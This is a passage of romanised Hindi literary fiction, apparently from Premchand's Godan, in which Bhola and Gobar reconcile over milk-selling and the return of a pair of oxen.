jangi gobar ke lie doodhiya sharbat banane chala gaya tha. bhola ne ekaant dekh kar kaha - aur bhaiya, ab is janjal se ji oob gaya hai. jangi ka hal dekhate hi ho. kamata doodh le kar jata hai. sani-pani, kholana-baandhana sab mujhe karana p data hai. ab to yahi ji chahata hai ki sukh se kahian ek roti khaooan aur p da rahooan. kahaan tak hay-hay karooan. roj l daee-jhag da. kis-kisake paanv sahalaooan? khaansi ati hai, rat ko utha nahian jata, par koee ek lote pani ko bhi nahian poochhata. pagahiya toot gee hai, muda kisi ko isaki sudhi nahian hai. jab maian banaooanga tabhi banegi.

gobar ne atmiyata ke sath kaha - tum chalo lakhanoo kaka. paanch ser ka doodh becho, nagad. kitane hi b de-b de amiroan se meri jan-pahachan hai. man-bhar doodh ki nikasi ka jimma maian leta hooan. meri chay ki dukan bhi hai. das ser doodh to maian hi nit leta hooan. tumhean kisi tarah ka kasht n hoga.

jangi doodhiya sharbat le aya. gobar ne ek gilas sharbat pi kar kaha - tum to khali saanjh-sabere chay ki dukan par baith jao kaka, to ek rupaya kahian nahian gaya hai.

bhola ne ek minat ke bad sankoch-bhare bhav se kaha - krodh mean beta, adami aandha ho jata hai. maian tumhari goee khol laya tha. use lete jana. yahaan kaun kheti-bari hoti hai.

'maianne to ek nee goee thik kar li hai kaka!'

'nahian-nahian, nee goee le kar kya karoge? ise lete jao.'

'to maian tumhare rupe bhijava dooanga.'

'rupe kahian bahar tho de hi haian beta, ghar mean hi to haian. biradari ka dhakosala hai, nahian tumamean aur hamamean kaun bhed hai? sach poochho to mujhe khus hona chahie tha ki jhuniya bhale ghar mean hai, aur aram se hai. aur maian usake khoon ka pyasa ban gaya tha.'

sandhya ke samay gobar yahaan se chala, to goee usake sath thi aur dahi ki do ha diyaan lie jangi pichhe-pichhe a raha tha.

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